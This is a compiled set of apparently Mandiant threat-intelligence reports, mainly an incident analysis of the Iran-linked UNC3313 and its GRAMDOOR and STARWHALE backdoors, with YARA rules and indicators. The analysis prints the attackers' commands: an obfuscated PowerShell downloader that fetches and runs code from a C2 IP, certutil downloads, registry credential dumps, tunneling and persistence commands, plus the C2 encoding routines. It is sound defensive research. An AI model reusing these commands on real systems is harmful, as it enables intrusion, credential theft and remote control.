WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance
of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were
present in the generated strings to reduce false positives."
strings:
// TCP
$tcp1
= "TCP://"
xor(0x01-0x2E)
$tcp2
= "TCP://"
xor(0x30-0xFF)
$ptcp1
= "|TCP://" xor(0x01-0x2E)
$ptcp2
= "|TCP://" xor(0x30-0xFF)
// UDP
$udp1
= "UDP://"
xor(0x01-0x2E)
$udp2
= "UDP://"
xor(0x30-0xFF)
$pudp1
= "|UDP://" xor(0x01-0x2E)
$pudp2
= "|UDP://" xor(0x30-0xFF)
// WSS
$wss1
= "WSS://"
xor(0x01-0x2E)
$wss2
= "WSS://"
xor(0x30-0x52)
$wss3
= "WSS://"
xor(0x54-0xFF)
$pwss1
= "|WSS://" xor(0x01-0x2E)
$pwss2
= "|WSS://" xor(0x30-0x52)
$pwss3
= "|WSS://" xor(0x54-0xFF)
// HTTP
$http1
= "+http"
xor(0x01-0x73)
$http2
= "+http"
xor(0x75-0xFF)
$phttp1 = "|+http"
xor(0x01-0x73)
$phttp2 = "|+http"
xor(0x75-0xFF)
// Sleep value
$zeros1 = "00|"
xor(0x01-0x2F)
$zeros2 = "00|"
xor(0x31-0xFF)
condition:
filesize < 10MB and
(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and
for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and
for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and
any of ($zeros*)
rule M_Hunting_MSIL_BADPOTATO
meta:
author = "Mandiant"
description = "Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO
resource."
strings:
$dotnetdll = "\x00_CorDllMain\x00"
$dotnetexe = "\x00_CorExeMain\x00"
$s1 = { 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00
00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }
$s2 = { 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50
00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
$s3 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00
00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
$s4 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50
00 6F 00 74 00 61 00 74 00 6F 00 }
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 1 of ($dotnet*) and 1 of ($s*)
Acknowledgements
We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enable this
research. In addition, we would like to thank Alyssa Rahman, Dan Perez, Ervin Ocampo, Blaine Stancill, and Nick Richard for their technical
reviews.
Left On Read: Telegram Malware Spotted in Latest Iranian Cyber
Espionage Activity
mandiant.com/resources/telegram-malware-iranian-espionage
In November 2021, Mandiant Managed Defense detected and responded to an UNC3313 intrusion at a
Middle East government customer. During the investigation, Mandiant identified new targeted malware,
GRAMDOOR and STARWHALE, which implement simple backdoor functionalities. We also identified
UNC3313 use publicly available remote access software to maintain access to the environment. UNC3313
initially gained access to this organization through a targeted phishing email and leveraged modified, opensource offensive security tools to identify accessible systems and move laterally. UNC3313 moved rapidly to
establish remote access by using ScreenConnect to infiltrate systems within an hour of initial compromise.
Through the rapid coordination of Mandiant Managed Defense and our customer
s security team, the
incident was quickly contained and remediated.
Mandiant assesses with moderate confidence that UNC3313 conducts surveillance and collects strategic
information to support Iranian interests and decision-making. Targeting patterns and related lures
demonstrate a strong focus on targets with a geopolitical nexus.
This blog post covers the details of an intrusion conducted by UNC3313, along with malware and publicly
available tools that were identified during our investigation.
Attribution
Mandiant uses the label 
 groups
uncategorized
 groups
to refer to a cluster of intrusion activity
that includes observable artifacts such as adversary infrastructure, tools, and tradecraft that we are not yet
ready to give a classification such as TEMP, APT, or FIN (learn more about how Mandiant tracks
uncategorized threat actors). Mandiant assesses with moderate confidence that UNC3313 is associated with
TEMP.Zagros (reported in open sources as MuddyWater), an Iran-nexus threat actor active since at least
May 2017, based on currently available information. TEMP.Zagros has consistently updated their toolkit over
the years, using malware such as POWERSTATS, POWGOOP, and MORIAGENT in spear-phishing
operations. The group
s use of ScreenConnect for initial compromise is well documented in open sources.
Notably, on January 12, 2022, the U.S. government publicly stated it considers TEMP.Zagros as subordinate
to the Iranian Ministry of Intelligence and Security (MOIS) and disclosed samples of malware families
(POWGOOP and MORIAGENT) in use by the group since at least 2020.
Targeting
In the second half of 2021, Mandiant identified an UNC3313 campaign using GRAMDOOR and
STARWHALE to target Middle Eastern government and technology entities. TEMP.Zagros has historically
targeted these regions and sectors throughout the Middle East and Central and South Asia, including
government, defense, telecommunications, energy, and finance. Targeting patterns and related lures
demonstrate a strong focus on targets with a geopolitical nexus and the telecommunications sector in the
Middle East.
Malware Observed
Mandiant observed UNC3313 deploy the following malware families.
1/19
Malware Family
Description
GRAMDOOR
GRAMDOOR is a backdoor written in Python that uses the Telegram Bot API to
communicate over HTTP with the Telegram server. Supported commands include
command execution via cmd.exe.
STARWHALE
STARWHALE is a Windows Script File (WSF) backdoor that communicates via
HTTP. Supported commands include shell command execution and system
information collection.
STARWHALE.GO
STARWHALE.GO is a backdoor written in GO programming language that
communicates via HTTP. The backdoor can execute shell commands and collect
system information, such as local IP address, computer name, and username.
CRACKMAPEXEC
CRACKMAPEXEC is a post-exploitation tool that helps automate assessing the
security of large Active Directory networks.
Table 1: UNC3313 Malware Families
Outlook and Implications
The use of the Telegram API for command and control allows for malicious traffic to blend in with legitimate
user behavior. Combined with the use of legitimate remote access software, publicly available tools such as
LIGOLO and CrackMapExec, and the multi-layer encoding routine, Mandiant believes this reflects
TEMP.Zagros' efforts to evade detection and security features. Meanwhile, it is unclear how the U.S.
government's recent public attribution of "MuddyWater" to the Iranian Ministry of Intelligence and Security
will affect the group's operations. It is plausible the group may re-tool and shift their tactics, techniques, and
procedures prior to conducting additional operations.
UNC3313 Attack Lifecycle
Establish Foothold
UNC3313 initially gained access to the customer
s environment through a spear-phishing attack that
compromised multiple systems. Phishing emails were crafted with a job promotion lure and tricked multiple
victims to click a URL to download a RAR archive file hosted at the cloud storage service OneHub. This
pattern is consistent with observations in open-source reporting by Anomali and Trend Micro.
The RAR archives contained a Windows Installer .msi file that installed ScreenConnect remote access
software to establish a foothold. Figure 1 shows a Windows Installer transaction event recorded in the
Windows Application logs for the execution of performance.msi.
2/19
Log: Application
Source: MsiInstaller
EID: 1040
Message: Beginning a Windows Installer transaction: C:\Users\
<redacted>\AppData\Local\Temp\Rar$EXb7468.17680\performance.msi-++-748-++-(NULL)-++-(NULL)++-(NULL)-++-(NULL)-++--++-. Client Process Id: 0.
Figure 1: Windows Installer transaction event for performance.msi
As mentioned, UNC3313 moved rapidly to establish remote access through ScreenConnect to infiltrate
systems within an hour of initial compromise. ScreenConnect provides the capability to issue single CLI
commands to the client or to open a full terminal using Backstage Mode. Mandiant observed command
execution using cmd.exe and powershell.exe by the parent process ScreenConnect.ClientService.exe.
Log: Application
Source: ScreenConnect Client (f494f7a48b0cd497)
EID: 0
Message: Cloud Account Administrator Connected-++Log: Application
Source: ScreenConnect Client (f494f7a48b0cd497)
EID: 0
Message: Cloud Account Administrator Disconnected-++Log: Application
Source: ScreenConnect Client (f494f7a48b0cd497)
EID: 0
Message: Executed command of length: 13-++Figure 2: ScreenConnect client connection and command
execution event logs
When actively running, the ScreenConnect.ClientService.exe process performed DNS lookups for a
ScreenConnect relay service at instance-<6 character alphanumeric id>-relay.screenconnect.com. Mandiant
observed the process ScreenConnect.WindowsClient.exe write additional attacker tools to the initially
compromised hosts, indicating the files were copied through the active ScreenConnect session.
3/19
File Write Event
Full Path: C:\ProgramData\ligo64.exe
Size: 3474432
MD5: 7fefce7f2e4088ce396fd146a7951871
Process: ScreenConnect.WindowsClient.exe
Process Path: C:\Program Files (x86)\ScreenConnect Client (f494f7a48b0cd497)
Parent Process Path: C:\Program Files (x86)\ScreenConnect Client
(f494f7a48b0cd497)\ScreenConnect.ClientService.exe
Figure 3: File write event by the ScreenConnect Windows Client process
Escalate Privileges
Mandiant observed UNC3313 use common credential-dumping techniques using legitimate Windows
utilities. UNC3313 leveraged the open-source WMIEXEC.PY attack framework to execute reg commands to
export copies of the local SAM, SYSTEM, and SECURITY Windows registry hives. WMIEXEC.PY enables
simple command invocation on a remote system (with admin rights and DCOM ports accessible on target
system) via WMI (Windows Management Instrumentation).
cmd.exe /Q /c reg save HKLM\SAM C:\users\public\sam 1> \\127.0.0.1\ADMIN$\__1637143994.2306612
2>&1
cmd.exe /Q /c reg save HKLM\SYSTEM C:\users\public\system 1>
\\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1
cmd.exe /Q /c reg save HKLM\SECURITY C:\users\public\security 1>
\\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1
Figure 4: Suspicious Registry exports executed by WMIEXEC.PY
UNC3313 used the Task Manager application to dump the process memory of lsass.exe, as shown in Figure 5
when the process Taskmgr.exe wrote the file lsass.dmp.
File Write Event
Full Path: C:\Users\<redacted>\AppData\Local\Temp\2\lsass.DMP
Size: 59378917
Process: Taskmgr.exe
Process Path: C:\Windows\System32
Parent Process Path: C:\Windows\explorer.exe
Figure 5: Task Manager Dump of LSASS.EXE
Internal Reconnaissance and Lateral Movement
4/19
Mandiant observed UNC3313 leverage publicly available offensive security tools to accomplish remote
command execution, internal reconnaissance, network tunneling, and lateral movement. UNC3313 used a
slightly modified version of the open-source pen-testing tool CrackMapExec v3.0 (CRACKMAPEXEC)
compiled with Pyinstaller to perform system enumeration and user account reconnaissance and to execute
remote commands on target systems. The modified version of CRACKMAPEXEC used by the attacker,
named aa.exe, had the tool
s description removed and included the database setup code from the utility
setup_database.py to bypass extra installation steps (Figure 6).
Figure 6: Modified CRACKMAPEXEC with inclusion of setup_database.py code
UNC3313 performed initial reconnaissance and account access testing with CRACKMAPEXEC using the
commands shown in Figure 7 and Figure 8. The credential and host information collected by
CRACKMAPEXEC were stored in the local database file cme.db.
aa.exe 10.20.11.1/24
Figure 7: Initial execution of compiled CRACKMAPEXEC
aa.exe 10.20.11.1/24 -u <local admin> -p <password> --local-auth
Figure 8: Local Administrator access testing with CRACKMAPEXEC
UNC3313 used CRACKMAPEXEC to run the Windows utility certutil and obfuscated PowerShell commands
to download additional tools and payloads on remote systems.
aa.exe 10.20.11.11 -u <local admin> -p <password> --local-auth -x "powershell -exec bypass
"function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i
-lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
[System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;};IEX (decode
'J3QjPiNYUHpwd2ZuLU1mdy1Ld3dzVGZhUWZydmZwd145OUBxZmJ3Ziska3d3czksLDc2LTI3M
S0xMjEtNTI5OzMsZGZGcVNrdzVgWWgwZXJkMzNlS0xtaWA6SDJbW2FvQVskKjgndC1zcWx7ei
M+I1hNZnctVGZhUWZydmZwd145OURmd1B6cHdmblRmYVNxbHt6Kyo4J0Z7ZmB2d2psbUBs
bXdme3ctSm11bGhmQGxubmJtZy1KbXVsaGZQYHFqc3crK01mdC5MYWlmYHcjUHpwd2ZuLU
pMLVB3cWZiblFmYmdmcSsndC1EZndRZnBzbG1wZisqLURmd1FmcHNsbXBmUHdxZmJuKyoqK
i1RZmJnV2xGbWcrKio4' 3);"
Figure 9: Execution of obfuscated PowerShell downloader
The obfuscated PowerShell downloader used base64 encoding and simple XOR encryption that decoded to
the general command syntax shown in Figure 10.
5/19
$w = [System.Net.HttpWebRequest]::Create('http[:]//
45.142.212[.]61:80/geErPht6cZk3fqg00fHOnjc9K1XXblBX');
$w.proxy = [Net.WebRequest]::GetSystemWebProxy();
$ExecutionContext.InvokeCommand.InvokeScript((New-Object
System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd());
Figure 10: Deobfuscated PowerShell command
UNC3313 used the multi-platform LIGOLO tunneler utility to establish tunneled access into our customer
environment. LIGOLO is an open-source, encrypted reverse SOCKS5 or TCP tunneler written in GO. The
LIGOLO utility was executed with the command-line argument 
 to specify the relay server instead of the
documented argument 
-relayserver
, which indicates modification of the original code downloaded from the
GitHub repository.
aa.exe 10.20.11.11 -u <local admin> -p <password> --local-auth -x "certutil.exe -urlcache -split -f
http[:]//95.181.161[.]81:443/l.exe C:\programdata\l.exe"
Figure 11: Remote execution of certutil to download LIGOLO tunneler via CRACKMAPEXEC
c:\programdata\ligo64.exe -s3 95.181.161[.]81:5555
Figure 12: Execution of LIGOLO tunneler utility with relay server
Mandiant observed the hostname DESKTOP-5EN5P2I in Windows logon events on systems that were
accessed by UNC3313 through an RDP connection tunneled using LIGOLO.
Log: Security
EID: 4624
Network Information:
Workstation Name:
DESKTOP-5EN5P2I
Source Network Address:
Source Port:
Log: Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational
EID: 1149
User: <local admin>
Domain: DESKTOP-5EN5P2I
Source Network Address: 10.20.11.14
Figure 13: Windows logon events showing evidence of RDP session tunneling via
LIGOLO
Maintain Persistence
6/19
Mandiant identified a new malware family named STARWHALE that was used by UNC3313. STARWHALE
is a Windows Script File backdoor that simply receives commands from a command and control (C2) server
via HTTP and executes those commands via Windows cmd.exe. On the infected system, STARWHALE was
observed being executed with a command-line argument as shown in Figure 14.
cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback__whale
Figure 14: STARWHALE execution
Figure 15: STARWHALE Code Snippet
The command line argument "humpback__whale " is used in the code to dynamically resolve functions at
runtime using the VBScript function GetRef. Since STARWHALE does not contain any persistence
mechanism, a service is created as shown in Figure 16.
sc create Windowscarpstss binpath= "cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf
humpback__whale" start= "auto" obj= "LocalSystem"
Figure 16: STARWHALE Persistence Method
STARWHALE communicates with its C2 server, which is hardcoded in the malware. Upon first execution,
the malware gathers basic user and system information, such as local IP address, computer name, and
username. It then encodes this information using a custom encoding scheme before sending the information
to the C2 IP address as shown in Figure 17.
7/19
POST /jznkmustntblvmdvgcwbvqb HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
CharSet: UTF-8
Content-Length: 69
Host: 5.199.133[.]149
vl=27732737231435E335F4239537109C22531327535C22D1327235E46253E2215613
Figure 17: STARWHALE Beacon
The hex value passed via the POST request parameter 
, as shown in Figure 17, can be decoded to the
following system enumeration information, piped together and separated with a delimiter:
<ip address>|delimiter|<hostname>\\<username
The delimiter in the samples observed was 
|!)!)!|
. It then expects its C2 server to return a string value that
is encoded using the same scheme. This string value is then included in all subsequent POST requests.
If STARWHALE
s initial request is successful, it begins sending the session key in a loop via HTTP
POST requests to its C2 server at hxxp://5.199.133[.]149/oeajgyxyxclqmfqayv. The C2 server will then
respond with a command meant to be executed via cmd.exe, as shown in Figure 18.
cmd.exe /c <command> >> %temp%\stari.txt.
Figure 18: STARWHALE command execution process
The output of the command is written to a file called 
stari.txt.
 It then encodes the output using the custom
scheme and sends it back to the C2 server in its next POST request. The structure is similar to what is shown
in Figure 19.
<c2_session_key>|!)!)!|<command_output>
Figure 19: STARWHALE information sent to C2
If the command fails, it sends the encoded string "SoRRy" to its C2. Notably, in earlier iterations of
STARWHALE, Mandiant also observed it using the string "sory" [sic]. The threat actor corrected the spelling
error after security researchers highlighted the string in a public forum. Mandiant has observed similar
spelling errors in other campaigns by Iranian threat actors.
During the intrusion, Mandiant also observed the actors deploying a malware that shares a lot of similarities
with STARWHALE in design but written in Golang. Mandiant is calling this code family STARWHALE.GO. It
is downloaded on the system using the certuil.exe utility as shown in Figure 20.
8/19
certutil.exe -urlcache -split -f hxxp://95.181.161[.]81:443/per_indexx.exe
Figure 20: STARWHALE.GO download
STARWHALE.GO arrives as part of a Nullsoft Scriptable Install System (NSIS) installer, which installs it in a
directory called OutlookM and creates a Run key in Windows registry to make it persistent on the system.
Upon execution, it drops the Golang binary and executes it.
InstType $(LSTR_37)
; Custom
InstallDir $LOCALAPPDATA\OutlookM
; install_directory_auto_append = OutlookM
; wininit = $WINDIR\wininit.ini
; -------------------; SECTIONS: 1
; COMMANDS: 6
Section ; Section_0
; AddSize 4744
CreateDirectory $INSTDIR
SetOutPath $INSTDIR
File index.exe
Exec $INSTDIR\index.exe
WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookM $INSTDIR\index.exe
SectionEnd
Figure 21: NSIS Script Snippet for STARWHALE.GO
The following registry key is created as a result of running the NSIS executable.
KEY: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookM
Value: C:\Users\<redacted>\AppData\Local\OutlookM\index.exe
Figure 22: STARWHALE.GO Persistence Method
STARWHALE.GO also uses a custom data encoding algorithm to protect its network communication and
critical strings within the binary. It sends the same information as STARWHALE, but the data sent and
received are a JSON object. A sample HTTP POST request is shown in Figure 23.
9/19
POST /nnskfepmasiiohvijcdpxtxzjv HTTP/1.1
Host: 87.236.212[.]184
User-Agent: Go-http-client/1.1
Content-Length: 91
Content-Type: application/json
Accept-Encoding: gzip
{"vl":"2179526e3176587ec7557e4192495c46264556569c47693e8d39415432445722222733323323332333"}
Figure 23: STARWHALE.GO HTTP C2 beacon
STARWHALE.GO uses a different delimiter 
|&&%&&|
 than STARWHALE, but the rest of the enumerated
information sent to the hardcoded C2 IP address is the same. Similarly, the malware reads the response from
the POST request to the C2 server and attempts to decode it using the same custom string transformation
routine it used to encode the data it sent. This routine is simpler than that used by STARWHALE, as
explained later. The decoded result is either launched as a command line with the process "cmd.exe /c" or
launched directly as a process if the string ends with .com, .exe, .bat, or .cmd. The output of the launched
process, or error message in the case of a failure to decode the string, is sent to the C2 server via HTTP
POST requests to its C2 server at hxxp://87.236.212[.]184/cepopggawztuxkxujfjbnpv.
Mandiant identified a third UNC3313 backdoor during the investigation that was compiled with Python 3.9
and packaged via PyInstaller, which would only execute on Windows 8 and higher. Mandiant has named this
backdoor GRAMDOOR due to its ability to use the Telegram Bot API for communication. It sends and
receives messages from an actor-created Telegram chat room. GRAMDOOR arrives on the system packaged
as an NSIS installer, which establishes a persistence mechanism by setting the Windows Run registry key, as
shown in Figure 24.
KEY: HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift
Value: C:\Users\<redacted>\AppData\Roaming\OutlookMicrosift\index.exe" Platypus
Figure 24: GRAMDOOR Persistence Method
The NSIS installer for GRAMDOOR drops the PyInstaller packaged binary in the APPDATA directory in a
subdirectory named OutlookMicrosift. It is executed using Exec command from the install directory, as
shown in Figure 25.
10/19
InstType $(LSTR_37)
; Custom
InstallDir $APPDATA\OutlookMicrosift
; install_directory_auto_append = OutlookMicrosift
; wininit = $WINDIR\wininit.ini
; -------------------; SECTIONS: 1
; COMMANDS: 6
Section ; Section_0
; AddSize 16859
CreateDirectory $INSTDIR
SetOutPath $INSTDIR
File index.exe
Exec "$INSTDIR\index.exe Platypus"
WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookMicrosift
"$\"$INSTDIR\index.exe$\" Platypus"
SectionEnd
Figure 25: NSIS Script Snippet for GRAMDOOR
GRAMDOOR expects to be launched with one command-line parameter, which in this case was "Platypus." It
uses this command-line parameter to piece together the function name, which is then called and acts as the
entry point to the malware. GRAMDOOR implements only two commands: start and com. These commands
are used to launch a cmd.exe process to which commands are piped. All network communication is via the
Telegram server at api.telegram[.]org. This allows the actors to disguise their communication as regular
Telegram traffic. This technique is not novel, and it is not the first time Iranian actors abused publicly
available software to make their C2 traffic blend in.
All HTTP requests from the malware to the Telegram server contained the token string
2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY. The token strings are used to authenticate to the
bot. Figure 26 shows a sample request.
hxxps://api.telegram[.]org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?
chat_id=<chat_id>&parse_mode=Markdown&text=<content>
Figure 26: GRAMDOOR Sample Request
The malware uses the sendMessage API function to send information to a chat ID number. The actors
interact with the host via the chat by issuing commands and then getting output of the executed commands
sent back in the chat. For example, to retrieve network configuration information from the infected host, the
attacker would issue the command 
com<id> c607666261766066f9f23ec696
 where the value
c607666261766066f9f23ec696
 is translated to 
ipconfig /all
 command.
11/19
STARWHALE and GRAMDOOR share similarities in logic for the custom encoding scheme used for the data
and commands sent to and received from the C2. The following code snippet demonstrates STARWHALE
traffic encoding and decoding and GRAMDOOR
s commands passed back and forth between Telegram chat
messages.
def transform_chars(data):
data = list(data)
src = 0
dst = len(data) - 1
while src < dst:
t = data[src]
data[src] = data[dst]
data[dst] = t
src += 3
dst -= 2
return ''.join(data)
def decode_traffic(data):
return bytes.fromhex(transform_chars(transform_chars(data)[::-1])).decode('utf')
def encode_traffic(data):
return transform_chars(transform_chars(data.encode('utf').hex())[::-1])
Figure 27: Encoding/Decoding custom routine example code snippet
GRAMDOOR also hides sensitive strings within its code using a custom XOR-based encryption scheme. The
following sample code shows the logic of the aforementioned scheme.
def xor_transform(data):
key = '`qLd' + str(5) + 'Hm^yw/sG-qh&@~y|[dJmC' + str(6) + 'UFvNt-^^_FeSd' + str(4) + 'N*#GNophwQMCJ' + str(1) + '?>L73PY'
return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(data, key)))
def encode_str(data):
return base64.b64encode(xor_transform(data).encode())
def decode_str(data):
return xor_transform(base64.b64decode(data).decode())
Figure 28: Sample snippet showing XOR-based encryption scheme used in GRAMDOOR
12/19
Mandiant also observed UNC3313 store PowerShell downloader commands in Registry keys that were
referenced by a Scheduled Task named 
Oracle scheduled assistant Autoupdate
 that is triggered on user
logon.
Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Pre
Type: REG_SZ
Value Name: Pre
Text: IEX
Figure 29: PowerShell command stored in Registry Value 
Path: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Oracle\Post
Type: REG_SZ
Value Name: Post
Text: function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);
for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
[System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}while($true){try{$o=
[System.Net.HttpWebRequest]::Create('http[:]//87.236.212[.]6:80/esZ8389bp2LFqRLI');
$o.proxy =
[Net.WebRequest]::GetSystemWebProxy();$ExecutionContext.InvokeCommand.InvokeScript((decode
(New-Object System.IO.StreamReader($o.GetResponse().GetResponseStream())).ReadToEnd()
3));}catch{}Start-Sleep -Seconds 40;}
Figure 30: PowerShell command stored in Registry Value 
Post
Lastly, Mandiant observed UNC3313 download and execute a Windows Installer file for the eHorus remote
access tool from the vendor website. UNC3313 executed the file ehorus_installer_windows-1.1.3-x64_enUS.msi, which created a service named EHORUSAGENT. The eHorus agent process ehorus_agent.exe
communicates with domains hosted on ehorus[.]com.
Log: System
Source: Service Control Manager
EID: 7045
Service Name: eHorus Agent Launcher
Service File Name: &amp;quot;C:\Program Files\ehorus_agent\ehorus_launcher.exe&amp;quot; -s
Figure 31: Service installation for eHorus agent
eHorus is a legitimate remote access tool advertised commercially by Pandora FMS, which is based in Spain.
eHorus has been recently reported by Symantec being abused by Iranian threat actors in a similar campaign
against telecom organizations in Middle East and Asia.
Mandiant Targeted Attack Lifecycle
13/19
Learn more about the Mandiant Targeted Attack Lifecycle.
Figure 32: Mandiant Targeted Attack Lifecycle
MITRE ATT&CK Techniques
ATT&CK Tactic Category
Techniques
Resource Development
Obtain Capabilities (T1588)
Tool (T1588.002)
Develop Capabilities (T1587)
Malware (T1587.001)
Initial Access
Phishing (T1566)
Phishing: Spearphishing Link (T1566.002)
Execution
Scheduled Task/Job (T1053)
Scheduled Task (T1053.005)
Command and Scripting Interpreter (T1059)
PowerShell (T1059.001)
Windows Command Shell (T1059.003)
System Services (T1569)
Service Execution (T1569.002)
Windows Management Instrumentation (T1047)
Boot or Logon Autostart Execution (T1547)
Registry Run Keys / Startup Folder (T1547.001)
User Execution (T1204)
Malicious File (T1204.002)
14/19
Persistence
Scheduled Task/Job (T1053)
Scheduled Task (T1053.005)
Create or Modify System Process (T1543)
Windows Service (T1543.003)
Boot or Logon Autostart Execution (T1547)
Registry Run Keys / Startup Folder (T1547.001)
Privilege Escalation
Scheduled Task/Job (T1053)
Scheduled Task (T1053.005)
Defense Evasion
Credential Access
OS Credential Dumping (T1003)
LSASS Memory (T1003.001)
Security Account Manager (T1003.002)
Brute Force
Brute Force: Password Guessing (T1110.001)
Discovery
Remote System Discovery (T1018)
System Owner/User Discovery (T1033)
Network Service Scanning (T1046)
Lateral Movement
Remote Services (T1021)
Remote Desktop Protocol (T1021.001)
Collection
Archive Collected Data (T1560)
Archive via Utility (T1560.001)
Command and Control
Ingress Tool Transfer (T1105)
Remote Access Software (T1219)
Application Layer Protocol (T1071)
Web Protocols (T1071.001)
Protocol Tunneling (T1572)
Web Service (T1102)
Bidirectional Communication (T1102.002)
15/19
Mandiant Security Validation Actions
Organizations can validate their security controls using the following actions with Mandiant Security
Validation.
Name
A102-562
Command and Control - GRAMDOOR, DNS Query, Variant #1
A102-563
Malicious File Transfer - GRAMDOOR, Download, Variant #1
A102-564
Malicious File Transfer - GRAMDOOR, Download, Variant #2
A102-565
Malicious File Transfer - STARWHALE, Download, Variant #1
A102-566
Malicious File Transfer - STARWHALE, Download, Variant #2
A102-567
Malicious File Transfer - STARWHALE, Download, Variant #3
A102-568
Malicious File Transfer - STARWHALE.GO, Download, Variant #1
A104-975
Protected Theater - GRAMDOOR, Execution, Variant #1
A104-976
Protected Theater - STARWHALE, Execution, Variant #1
A104-977
Host CLI - GRAMDOOR, Registry Persistence, Variant #1
A104-978
Host CLI - STARWHALE, Service Persistence, Variant #1
YARA Rules
16/19
rule M_Hunting_Backdoor_STARWHALE_1
meta:
author = "Mandiant"
description = "Detects strings for STARWHALE samples"
md5 = " cb84c6b5816504c993c33360aeec4705"
rev = 1
strings:
$s1 = "JSCript" ascii nocase wide
$s2 = "VBSCript" ascii nocase wide
$s3 = "WScript.Shell" ascii nocase wide
$s4 = "ok" ascii nocase wide
$s5 = "no" ascii nocase wide
$s6 = "stari.txt" ascii nocase wide
$s7 = "SoRRy" ascii wide
$s8 = "EMIP" ascii wide
$s9 = "NIp" ascii wide
$s10 = "401" ascii wide
$s11 = "_!#" ascii wide
$s12 = "/!&^^&!/" ascii wide
$s13 = "|!)!)!|" ascii wide
$s14 = "|#@*@#|" ascii wide
$s15 = "/!*##*!/" ascii wide
$s16 = "sory" ascii nocase wide
condition:
filesize > 5KB and filesize < 5MB and 10 of ($s*)
17/19
rule M_Hunting_Backdoor_STARWHALE_GO_1 {
meta:
author = "Mandiant"
description = "Detects strings for STARWHALE.GO"
strings:
$main1 = "main.findExecutable" ascii
$main2 = "main.showMatrixElements" ascii
$delim = "|&&%&&|" ascii
$matrix = "MATRIX1*MATRIX2" ascii
$sample = "1522526f4260f4653664276774" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 15MB and 4 of them
Indicators of Compromise
Type
Value
Description
7c3564cd166822be4932986cb8158409
CrackMapExec
7fefce7f2e4088ce396fd146a7951871
LIGOLO
5763530f25ed0ec08fb26a30c04009f1
GRAMDOOR
15fa3b32539d7453a9a85958b77d4c95
GRAMDOOR
cb84c6b5816504c993c33360aeec4705
STARWHALE
c8ff058db87f443c0b85a286a5d4029e
ScreenConnect
88.119.175[.]112
LIGOLO C&C
95.181.161[.]50
LIGOLO C&C
45.153.231[.]104
LIGOLO C&C
95.181.16[.]81
Malware/Tools Hosting
5.199.133[.]149
STARWHALE C&C
45.142.213[.]17
STARWHALE C&C
18/19
87.236.212[.]184
STARWHALE.GO C&C
Acknowledgements
Special thanks to Mike Hunoff, Nick Harbour, and Muhammad Umair for their assistance with reverse
engineering the malware discussed in this blog post, and Adrien Bataille and Ervin James Ocampo for
creating detections for malware families. Additionally, we would also like to thank Dan Andreiana, Alexander
Pennino, Nick Richards, Jake Nicastro, Sarah Jones, and Geoff Ackerman for their help with technical review
and providing valuable feedback.
19/19
(Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba
Ransomware
mandiant.com/resources/unc2596-cuba-ransomware
In 2021, Mandiant observed some threat actors deploying ransomware increasingly shift to exploiting vulnerabilities as an initial infection
vector. UNC2596, a threat actor that deploys COLDDRAW ransomware, publicly known as Cuba Ransomware, exemplifies this trend. While
public reporting has highlighted CHANITOR campaigns as precursor for these ransomware incidents, Mandiant has also identified the
exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely
as early as August 2021. The content of this blog focuses on UNC2596 activity which has led to the deployment of COLDDRAW ransomware.
UNC2596 is currently the only threat actor tracked by Mandiant that uses COLDDRAW ransomware, which may suggest it
s exclusively used
by the group. During intrusions, these threat actors have used webshells to load the TERMITE in-memory dropper with subsequent activity
